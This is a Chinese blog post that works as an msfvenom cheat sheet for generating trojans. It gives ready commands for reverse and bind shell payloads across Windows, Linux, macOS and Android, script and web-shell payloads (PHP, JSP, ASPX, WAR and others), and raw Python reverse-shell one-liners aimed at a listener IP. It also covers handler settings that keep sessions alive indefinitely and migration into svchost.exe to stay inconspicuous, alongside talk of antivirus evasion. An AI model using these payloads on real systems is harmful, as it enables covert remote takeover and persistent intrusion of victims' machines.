msfvenom简介
写此文是因为网上资料杂乱,不方便查阅,辣眼睛
测试免杀的时候刚好用到这个功能,顺便写一下(0202年靠msfvenom生成的纯原生payload可以宣告死亡了,如果有查不出来的杀软可以退群了,这也叫杀软吗太丢人了)
在此把个人了解的遇到过的一些关于msfvenom使用过程中的问题根据大佬们的思路整理出来,仅供参考
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
大佬止步线
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
msfvenom取代了msfpayload和msfencode,常用于生成木马,在目标机器上执行,在本地机器kali中上线
大致参数介绍
-l, --list <type> 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops,......all
-p, --payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
-f, --format < format> 指定输出格式
-e, --encoder <encoder> 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload
-a, --arch < architecture> 指定payload的目标架构,例如x86 还是 x64 还是 x86_64
-o, --out < path> 指定创建好的payload的存放位置
-b, --bad-chars < list> 设定规避字符集,指定需要过滤的坏字符。例如:不使用 '\x0f'、'\x00'
-n, --nopsled < length> 为payload预先指定一个NOP滑动长度
-s, --space < length> 设定有效攻击荷载的最大长度,就是文件大小
-i, --iterations < count> 指定payload的编码次数
-c, --add-code < path> 指定一个附加的win32 shellcode文件
-x, --template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
-v, --var-name < value> 指定一个自定义的变量,以确定输出格式
-t, --timeout <second> 从stdin读取有效负载时等待的秒数(默认为30,0表示禁用)
-h,--help 查看帮助选项
--platform < platform> 指定payload的目标平台
。。。。。。
例如:看一下有哪些payload
再比如看一下 某个payload有哪些选项支持哪些平台
再比如看一下有哪些编码器msfvenom -l encoders
其中就包括号称“excellent”的、随处可见的shikata_ga_nai (真的是无能为力吗,我不信)
再有msfvenom -l 什么什么都行 ,不一一列举了
生成payload
二进制
windows
64位
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=2333 -f exe > shell.exe
32位
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=2333 -a x86 --platform Windows -f exe > shell.exe
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=2333 -a x86 --platform Linux -f elf > shell.elf
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.32.129 LPORT=2333 -a x86 --platform osx -f macho > shell.macho
Android
msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=2333 -f raw > shell.apk
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=2333 R > test.apk
powershell
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.32.129 LPORT=2333 -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1
nc正向
msfvenom -p windows/shell_hidden_bind_tcp LHOST=192.168.32.129 LPORT=2333 -f exe> 1.exe
nc反向
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.32.129 LPORT=2333 -f exe> 1.exe
shellcode
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=2333 -a x86 --platform Windows -f c
windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=2333 -a x86 --platform Linux -f c
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.32.129 LPORT=2333 -a x86 --platform osx -f c
脚本
Python反弹shell
msfvenom -p cmd/unix/reverse_python LHOST=192.168.32.129 LPORT=2333 -f raw > shell.py
msfvenom -a python -p python/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=2333 -f raw > shell.py
Python正向shell
python/python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.32.129",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
python/python3 -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(("192.168.32.129",2333))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"
bash
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.32.129 LPORT=2333 -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.32.129 LPORT=2333 -f raw > shell.pl
Lua
msfvenom -p cmd/unix/reverse_lua LHOST=192.168.32.129 LPORT=2333 -f raw -o shell.lua
Ruby
msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.32.129 LPORT=2333 -f raw -o shell.rb
web
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.32.129 LPORT=2333 -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
aspx
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=2333 -f aspx -o shell.aspx
asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=2333 -f asp > shell.asp
jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.32.129 LPORT=2333 -f raw > shell.jsp
war
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.32.129 LPORT=2333 -f war > shell.war
nodjs
msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.32.129 LPORT=2333 -f raw -o shell.js
另:补充
保证收到session后继续监听端口
msf exploit(multi/handler) > set ExitOnSession false
默认情况下,如果一个会话将在5分钟没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0
msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0
默认情况下,一个星期后,会话将被强制关闭,修改为0可永久不会被关闭
msf5 exploit(multi/handler) > set SessionExpirationTimeout 0
handler后台持续监听
msf exploit(multi/handler) > exploit -j -z
快速建立监听
msf5 > handler -H 192.168.32.129 -P 2333 -p windows/meterpreter/reverse_tcp
防止太显眼,msfvenom进程migrate,启动两个进程svchost.exe和shell.exe,PrependMigrate=true PrependMigrateProc=svchost.exe将进程默认迁移到svchost.exe中 (也可以写别的进程名)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=2333 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 --platform win PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o shell.exe
参考文章 :https://www.cnblogs.com/backlion/p/9484949.html
随便转载,请标明作者出处
msfvenom简介的更多相关文章
- Metasploit msfvenom
一. msfvenom简介 msfvenom是msf payload和msf encode的结合体,于2015年6月8日取代了msf payload和msf encode.在此之后,metasploi ...
- metasploit、msfvenom生成木马入侵电脑及手机
简介 msfvenom msfvenom a Metasploit standalone payload generator,Also a replacement for msfpayload and ...
- ASP.NET Core 1.1 简介
ASP.NET Core 1.1 于2016年11月16日发布.这个版本包括许多伟大的新功能以及许多错误修复和一般的增强.这个版本包含了多个新的中间件组件.针对Windows的WebListener服 ...
- MVVM模式和在WPF中的实现(一)MVVM模式简介
MVVM模式解析和在WPF中的实现(一) MVVM模式简介 系列目录: MVVM模式解析和在WPF中的实现(一)MVVM模式简介 MVVM模式解析和在WPF中的实现(二)数据绑定 MVVM模式解析和在 ...
- Cassandra简介
在前面的一篇文章<图形数据库Neo4J简介>中,我们介绍了一种非常流行的图形数据库Neo4J的使用方法.而在本文中,我们将对另外一种类型的NoSQL数据库——Cassandra进行简单地介 ...
- REST简介
一说到REST,我想大家的第一反应就是“啊,就是那种前后台通信方式.”但是在要求详细讲述它所提出的各个约束,以及如何开始搭建REST服务时,却很少有人能够清晰地说出它到底是什么,需要遵守什么样的准则. ...
- Microservice架构模式简介
在2014年,Sam Newman,Martin Fowler在ThoughtWorks的一位同事,出版了一本新书<Building Microservices>.该书描述了如何按照Mic ...
- const,static,extern 简介
const,static,extern 简介 一.const与宏的区别: const简介:之前常用的字符串常量,一般是抽成宏,但是苹果不推荐我们抽成宏,推荐我们使用const常量. 执行时刻:宏是预编 ...
- HTTPS简介
一.简单总结 1.HTTPS概念总结 HTTPS 就是对HTTP进行了TLS或SSL加密. 应用层的HTTP协议通过传输层的TCP协议来传输,HTTPS 在 HTTP和 TCP中间加了一层TLS/SS ...
随机推荐
- 可搜索加密技术 - 学习笔记(二)- 预备知识:HMAC-SHA256函数
由于在之后的算法中会用到HMAC-SHA256函数,这里先简单对其进行一个介绍. 一.HMAC算法 什么是HMAC算法? HMAC是密钥相关的哈希运算消息认证码(Hash-based Message ...
- SELECT SQL
替换换行符: update qgnews set article_url=REPLACE(article_url,char(10),'') 替换回车符: update qgnews set artic ...
- Jmeter之事务控制器
性能测试的结果统计时我们一定会关注TPS,TPS代表的是每秒事务数,每个事务对应的是我们的请求.虽然JMeter能够帮我们把每个请求统计成一个事务,但有时候我们希望把多个操作统计成一个事务,JMete ...
- Java 8 Function 函数接口
这篇文章属于 Java 8 教程(LTS)系列教程 在 Java 8 中,Function 接口是一个函数接口,它位于包 java.util.function 下. Function 接口中定义了一个 ...
- 家庭账本开发day05
套用layUI模板,成功完成账单的添加,并且能同时对用户的余额进行增加和减少
- Linux服务器相关性能的命令
Linux服务器相关性能的命令 一.查看服务器性能信息的相关命令 1.cpu信息查看 cpu分为物理cpu和逻辑cpu 物理cpu:实际物理服务器插槽上cpu的个数,可以通过physical id不重 ...
- mysql实现主从复制、读写分离的配置方法(二)
由于接触主从复制,读写分离的时间比较短,应用还不够熟练,目的是能通过MyCat实现基础的读写分离操作. 其核心功能是分库分表,配合数据库的主从模式还可实现读写分离. 1. 测试环境 一台win10主机 ...
- 理解 React Hooks 心智模型:必须按顺序、不能在条件语句中调用的规则
前言 自从 React 推出 hooks 的 API 后,相信大家对新 API 都很喜欢,但是它对你如何使用它会有一些奇怪的限制.比如,React 官网介绍了 Hooks 的这样一个限制: 不要在循环 ...
- 【动画消消乐 】HTML+CSS 吃豆豆动画 073
前言 Hello!小伙伴! 非常感谢您阅读海轰的文章,倘若文中有错误的地方,欢迎您指出- 自我介绍 ଘ(੭ˊᵕˋ)੭ 昵称:海轰 标签:程序猿|C++选手|学生 简介:因C语言结识编程,随后转入计 ...
- 裸奔mysql
centos 7 下裸奔mysql # vim /etc/my.cnf在[mysqld]的段中加上一句:skip-grant-tables例如:[mysqld]datadir=/var/lib/mys ...